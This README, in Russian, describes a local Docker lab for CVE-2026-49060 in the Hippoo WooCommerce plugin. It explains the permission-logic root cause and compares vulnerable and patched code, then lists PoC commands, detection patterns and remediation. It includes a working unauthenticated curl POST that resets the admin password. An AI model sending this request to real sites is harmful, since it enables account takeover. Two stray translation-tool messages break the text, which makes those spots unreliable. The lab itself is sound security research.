
Этот репозиторий содержит локальную Docker-лабораторию для воспроизведения и проверки CVE-2026-49060 — уязвимости некорректного назначения привилегий, затрагивающей плагин WordPress Hippoo Mobile App for WooCommerce.
Уязвимое поведение доступно через клонированное пространство имён REST API Hippoo:```text /wc-hippoo/v1/ext/
В уязвимой цели неаутентифицированный посетитель может получить доступ к клонированному маршруту пользователей WordPress REST и может обновить пароль администратора через неаутентифицированный HTTP-запрос. В исправленной цели тот же запрос блокируется с кодом `403 Forbidden`.
Эта лабораторная работа сравнивает две версии Hippoo:
| Сервис | Версия Hippoo | Назначение | URL |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln` | 1.9.4 | Уязвимая цель для сравнения | `http://localhost:8081` |
| `patched` | 1.9.5 | Исправленная цель для сравнения | `http://localhost:8082` |
Продемонстрированная цепочка уязвимостей:```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden
Эта лаборатория проверяет поведение авторизации уязвимой и исправленной версий с помощью Hippoo 1.9.4 и Hippoo 1.9.5.
Лаборатория намеренно ограничена локальными Docker-сервисами. Она не нацелена на внешние системы и не включает закрепление, веб-шеллы, вредоносное ПО или внешние обратные вызовы.
Эта лаборатория использует Hippoo 1.9.4 как уязвимую цель для сравнения, поскольку публичные уведомления указывают версии до 1.9.4 включительно как затронутые.
Эта лаборатория использует Hippoo 1.9.5 как исправленную цель для сравнения, поскольку метаданные публичных уведомлений указывают 1.9.5 как исправленную версию для продемонстрированного затронутого диапазона.
Публичная запись CVE-2026-49060 описывает проблему на высоком уровне как неправильное назначение привилегий / повышение привилегий. Эта лаборатория сосредоточена на наблюдаемом поведении авторизации в Hippoo 1.9.4 и сравнивает его с Hippoo 1.9.5.
Сводка корневых причин в этом README основана на сравнении исходного кода уязвимой и исправленной версий Hippoo, используемых в лаборатории.
Эта лаборатория не претендует на проверку каждого маршрута Hippoo. Она сосредоточена на клонированном REST-маршруте пользователей WordPress:```text /wc-hippoo/v1/ext/wp/v2/users/
Лаборатория не демонстрирует:
* устойчивость (persistence),
* загрузку веб-шелла,
* произвольное выполнение команд,
* внешние обратные вызовы,
* поведение вредоносного ПО,
* атаки на системы вне лаборатории,
* или действия после компрометации, выходящие за рамки локальной проверки обновления пароля.
## Сводка о первопричине
Корневая причина — логическая ошибка в разрешениях при обработке ролей и прав в Hippoo.
Hippoo предоставляет клонированные маршруты REST WordPress и WooCommerce в собственном пространстве имён:```text
/wc-hippoo/v1/ext/
Поведение клонирования маршрутов чувствительно с точки зрения безопасности, поскольку клонированный маршрут должен сохранять или усиливать требования авторизации исходного маршрута. Если клонированный маршрут получает разрешающий обратный вызов прав доступа, неаутентифицированные пользователи могут получить доступ к REST-конечным точкам, которые должны требовать аутентификации и авторизации.
Соответствующее поведение клонирования маршрутов следует этому шаблону:```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
Предусмотренная модель безопасности:```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
Уязвимое поведение возникает из-за того, что Hippoo 1.9.4 использует одно и то же возвращаемое значение для двух разных состояний:```text
administrator / unrestricted access
unauthenticated visitor / no user
В Hippoo `1.9.4`, помощник разрешений возвращает `null`, когда нет вошедшего в систему пользователя WordPress:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
Уязвимая версия также считает null допустимым:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Это создает уязвимый поток данных:```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
Проблема не просто в том, что существует REST-маршрут. Проблема в том, что решение о разрешении доступа может ошибочно рассматривать неавторизованного посетителя как неограниченного.
Исправленная версия разделяет эти состояния.
В Hippoo 1.9.5 неавторизованные посетители возвращают false вместо null:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
Исправленная проверка авторизации затем явно отклоняет `false`:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Изменение, относящееся к безопасности:```text Before: unauthenticated visitor → null → allowed
After: unauthenticated visitor → false → denied
Вот почему лаборатория показывает:```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
Патч меняет смысл возвращаемых значений разрешений.
В уязвимой версии:```text null means administrator/full access null also means unauthenticated/no user
В пропатченной версии:```text
null means administrator/full access
false means unauthenticated/no role/no access
Важное изменение на уровне исходного кода в помощнике разрешений:```diff public static function get_user_permissions() { $user = wp_get_current_user();
return null;
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) { return null; // Full access }
$settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
if (isset($settings[$role])) {
return $settings[$role];
}
return $settings[$role];
}
return null; // Full access
Решение об авторизации также изменяется:```diff
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Этот патч не удаляет функцию клонирования маршрутов Hippoo. Вместо этого он исправляет границу доверия вокруг оценки разрешений.
Урок безопасности из этого патча:```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
Чувствительные к безопасности функции разрешений должны использовать различные значения для различных состояний:```text
administrator / full access → allowed
authenticated user with policy → evaluate policy
unauthenticated user → denied
unknown role / no configured ACL → denied
Лаборатория запускает две изолированные установки WordPress через Docker Compose.```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore
Два сервиса WordPress используют отдельные базы данных и отдельные версии плагинов:
| Сервис | Компонент | Версия / Роль |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln` | WordPress + WooCommerce + Hippoo | уязвимое целевое приложение |
| `patched` | WordPress + WooCommerce + Hippoo | исправленное целевое приложение |
| `db-vuln` | MariaDB | база данных для уязвимого целевого приложения |
| `db-patched` | MariaDB | база данных для исправленного целевого приложения |
| `init-vuln` | сервис инициализации WordPress | инициализирует уязвимое целевое приложение |
| `init-patched` | сервис инициализации WordPress | инициализирует исправленное целевое приложение |
Сервисы, открытые по умолчанию:```text
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
The lab uses pinned Hippoo versions:
| Target | Hippoo version | Expected behavior |
|---|---|---|
http://localhost:8081 | 1.9.4 | unauthenticated cloned users route is allowed |
http://localhost:8082 | 1.9.5 | unauthenticated cloned users route is blocked |
The lab installs WooCommerce because Hippoo integrates with WooCommerce REST classes and routes.
No Python third-party package is required. The PoC uses Python standard library modules only.
Start the lab from a clean state:```bash docker compose down -v --remove-orphans
docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
Проверьте статус службы:```bash
docker compose ps
Ожидаемые исправные сервисы:```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched
Проверьте веб-приложения:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
Запустите проверку только для чтения для обеих целей:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Запустите активную локальную проверку для обеих целей:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Выполните активную проверку с явным паролем:```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
## Использование PoC
Передайте один или несколько локальных URL-адресов целевых объектов в качестве позиционных аргументов:```bash
python3 poc/poc.py <target_url> [target_url...]
Примеры:```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Режим по умолчанию — только чтение. Он отправляет неаутентифицированный `GET`-запрос к маршруту клонированных пользователей и сообщает, разрешён ли доступ или заблокирован.
Поддерживаемые параметры:```text
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
Пример активной валидации:```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
PoC принимает только loopback/локальные цели:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>
Он по замыслу отказывается работать с нелокальными целями.
Команда:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Ожидаемый сигнал уязвимой цели:```text
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Ожидаемый сигнал пропатченной цели:```text Target: target-2 Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
Ожидаемая сводка:```text
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
Команда:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Ожидаемый сигнал уязвимой цели:```text
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Ожидаемый сигнал пропатченной цели:```text Active local validation: target-2 Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
Активная проверка изменяет только одноразовый пароль администратора WordPress внутри локальной уязвимой лабораторной цели.
Учётные данные локальной лаборатории по умолчанию до активной проверки:```text
Username: admin
Password: AdminPass123!
Пароль по умолчанию после успешной активной проверки на уязвимом целевом узле:```text Username: admin Password: Cve49060LabPass123!
## Как работает валидация
Сначала валидатор обнаруживает WordPress REST API.
Некоторые среды WordPress предоставляют REST-маршруты через красивые постоянные ссылки:```text
/wp-json/
Другие предоставляют их более надежно через резервный вариант строки запроса:```text /?rest_route=/
Валидатор пробует обе формы и использует ту, которая возвращает индекс JSON REST.
После обнаружения REST он ищет маршрут клонированных пользователей Hippoo:```text
/wc-hippoo/v1/ext/wp/v2/users
Затем он выполняет неаутентифицированный GET-запрос только для чтения:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Ожидаемое уязвимое поведение:```text
HTTP 200 OK
JSON user object returned
Ожидаемое поведение после исправления:```text HTTP 403 Forbidden JSON rest_forbidden error returned
Когда `--update-password` включён, валидатор отправляет неаутентифицированный POST-запрос:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
Ожидаемое уязвимое поведение:```text HTTP 200 OK The selected user's password is updated inside the local lab target.
Ожидаемое поведение после исправления:```text
HTTP 403 Forbidden
The update is blocked.
Важное отличие не в том, существует ли маршрут. Маршрут существует в обеих версиях. Разница в безопасности заключается в том, разрешено ли неаутентифицированному запросу вызывать его.
Уязвимый зонд только для чтения:```bash
curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Ожидаемый результат:```text
HTTP/1.1 200 OK
Content-Type: application/json
Патченный зонд только для чтения:```bash
curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Ожидаемый результат:```text
HTTP/1.1 403 Forbidden
Content-Type: application/json
Активный уязвимый зонд:```bash
curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
I notice the input content for this chunk appears to be empty. There is no source text provided to translate.
Since there is no content to translate, I will return an empty response to preserve the chunk structure for seamless concatenation.```text
HTTP/1.1 200 OK
Активный пропатченный зонд:```bash
curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
The input content appears to be missing — there is no source text after "INPUT:" to translate. Please provide the markdown chunk so I can translate it into Russian.```text
HTTP/1.1 403 Forbidden
Уязвимое поведение позволяет неавторизованный доступ к клонированным REST-маршрутам в пределах пространства имён Hippoo.
Наиболее чувствительным с точки зрения безопасности продемонстрированным маршрутом является клонированный маршрут пользователей WordPress:```text /wc-hippoo/v1/ext/wp/v2/users/
В уязвимой локальной цели неаутентифицированный запрос может обновить пароль учётной записи администратора. Это демонстрирует impact захвата учётной записи в контролируемой лабораторной среде.
Потенциальное реальное воздействие, в зависимости от конфигурации сайта и открытых маршрутов, включает:
* несанкционированный доступ к чувствительным данным REST API,
* захват учётной записи администратора,
* повышение привилегий,
* несанкционированное изменение записей пользователей WordPress,
* и полный компрометацию сайта после получения доступа администратора.
Эта лабораторная работа демонстрирует только нарушение авторизации и локальное обновление пароля администратора. Она не включает эксплуатацию после аутентификации, редактирование плагинов, выполнение кода, закрепление или деструктивные действия.
## Обнаружение и мониторинг
Потенциальные индикаторы включают неаутентифицированные запросы к клонированному REST-пространству имён Hippoo:```text
/wc-hippoo/v1/ext/
Шаблон маршрута высокого риска:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
Подозрительные индикаторы:```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
Примеры шаблонов журналов доступа:```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Рекомендуемые действия по мониторингу:
* Проверяйте журналы доступа веб-сервера на предмет `/wc-hippoo/v1/ext/`.
* Проверяйте журналы аутентификации WordPress на предмет неожиданных входов администраторов.
* Проверяйте записи пользователей WordPress на предмет недавних изменений паролей.
* Проверяйте адреса электронной почты, роли и время создания учётных записей администраторов.
* Проверяйте время изменения файлов плагинов/тем, если есть подозрение на захват учётной записи администратора.
* Отслеживайте запросы к REST API, которые возвращают `200 OK` неаутентифицированным пользователям, хотя для них должна требоваться авторизация.
## Информация об устранении уязвимости и исправлениях
Обновите Hippoo Mobile App for WooCommerce до исправленной версии.
Для конкретного лабораторного сравнения: Hippoo `1.9.5` блокирует продемонстрированное поведение маршрута неаутентифицированных клонированных пользователей, которое было доступно в `1.9.4`.
Для production-сред обновляйтесь до последней доступной версии, а не останавливайтесь на версии, использованной в лабораторном сравнении.
Рекомендуемые шаги по устранению уязвимости:
* Обновите Hippoo Mobile App for WooCommerce до последней доступной исправленной версии.
* Убедитесь, что установленная версия новее затронутого диапазона.
* Проверьте, доступен ли `/wc-hippoo/v1/ext/` публично.
* Смените пароли администраторов, если есть подозрение на эксплуатацию.
* Проверьте учётные записи администраторов WordPress на предмет несанкционированных изменений.
* Проверяйте журналы доступа веб-сервера на предмет неаутентифицированных запросов к клонированным маршрутам REST.
* Временно отключите плагин, если немедленное исправление невозможно.
* Используйте WAF или виртуальные исправления как временный уровень защиты, а не как замену обновлению.
Уроки инженерии безопасности:```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
Проверьте статус контейнера:```bash docker compose ps
Проверьте логи инициализации:```bash
docker compose logs init-vuln init-patched
Проверка веб-сервисов:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
Запустите проверку только для чтения:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Запустите активную проверку:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Проверьте активные плагины:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Проверьте версии Hippoo:```bash
docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
Проверьте логику разрешений в уязвимой цели:```bash
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Проверьте логику разрешений в пропатченной цели:```bash
docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Сохранить доказательства проверки:```bash
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
Остановите и удалите контейнеры и сети:```bash docker compose down --remove-orphans
Удалите контейнеры, сети и тома:```bash
docker compose down -v --remove-orphans
Удалите локальные файлы улик, если они были созданы:```bash rm -rf evidence/
## Границы безопасности
Эта лаборатория предназначена только для локальных исследований безопасности и контролируемых демонстраций.
Не запускайте PoC и не отправляйте ручные curl-запросы к системам, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.
Не используйте в этой лаборатории реальные производственные учётные данные, реальные данные клиентов или производственные секреты.
Предполагаемая область применения ограничена локальными Docker-сервисами, такими как:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
The PoC намеренно ограничен только HTTP и локальной областью действия. Он не вызывает Docker, Docker Compose, WP-CLI или контейнерные API.
Режим активной проверки изменяет пароль только для выбранного пользователя WordPress внутри одноразовой локальной лабораторной цели.
Лаборатория не включает полезные нагрузки для:
Цель — продемонстрировать одно конкретное техническое условие в контролируемой среде:```text unauthenticated request
## Ссылки
* NVD: CVE-2026-49060
https://nvd.nist.gov/vuln/detail/CVE-2026-49060
* Patchstack: повышение привилегий в плагине Hippoo Mobile App for WooCommerce для WordPress <= 1.9.4
https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
* Уведомление GitHub: GHSA-mh6m-7983-2r5w
https://github.com/advisories/GHSA-mh6m-7983-2r5w
* Плагин WordPress.org: Hippoo Mobile App for WooCommerce
https://wordpress.org/plugins/hippoo/
* SVN-репозиторий плагина WordPress.org
https://plugins.svn.wordpress.org/hippoo/
* Теги SVN плагина WordPress.org
https://plugins.svn.wordpress.org/hippoo/tags/
* Справочник WordPress REST API: Маршруты и конечные точки
https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
* Руководство OWASP по тестированию веб-безопасности: Проверка обхода авторизации
https://owasp.org/www-project-web-security-testing-guide/
| Утверждение | Доказательства | Как проверить в этой лаборатории |
|---|
CVE-2026-49060 затрагивает Hippoo Mobile App for WooCommerce до версии 1.9.4 включительно. | Публичные уведомления указывают Hippoo <= 1.9.4 / до 1.9.4 как затронутые. | Изучите раздел References и сравните версию сервиса vuln. |
Hippoo 1.9.5 используется как исправленная цель для сравнения. | Метаданные публичных уведомлений указывают 1.9.5 как исправленную версию для затронутого диапазона. | Выполните docker compose logs init-vuln init-patched и подтвердите инициализированные версии плагина. |
| Уязвимое поведение доступно через клонированное REST-пространство имён Hippoo. | Hippoo повторно регистрирует внешние REST-маршруты в /wc-hippoo/v1/ext/. | Выполните python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082. |
Hippoo 1.9.4 разрешает неаутентифицированный доступ к клонированному маршруту users в этой лаборатории. | PoC лаборатории получает 200 OK от http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Выполните команду проверки только на чтение для 8081. |
Hippoo 1.9.5 блокирует тот же неаутентифицированный запрос в этой лаборатории. | PoC лаборатории получает 403 Forbidden от http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Выполните команду проверки только на чтение для 8082. |
| Уязвимая цель может обновить пароль администратора через неаутентифицированный POST-запрос в этой локальной лаборатории. | Активный PoC получает 200 OK от уязвимой цели при использовании --update-password. | Выполните python3 poc/poc.py --update-password http://127.0.0.1:8081. |
| Исправленная цель блокирует неаутентифицированный запрос на обновление пароля. | Hippoo 1.9.5 возвращает ответ «запрещено» для того же клонированного маршрута users. | Выполните активную проверку для обеих целей. |
| PoC работает только через HTTP. | poc/poc.py отправляет только HTTP-запросы и не вызывает Docker, WP-CLI или API контейнеров. | Изучите poc/poc.py. |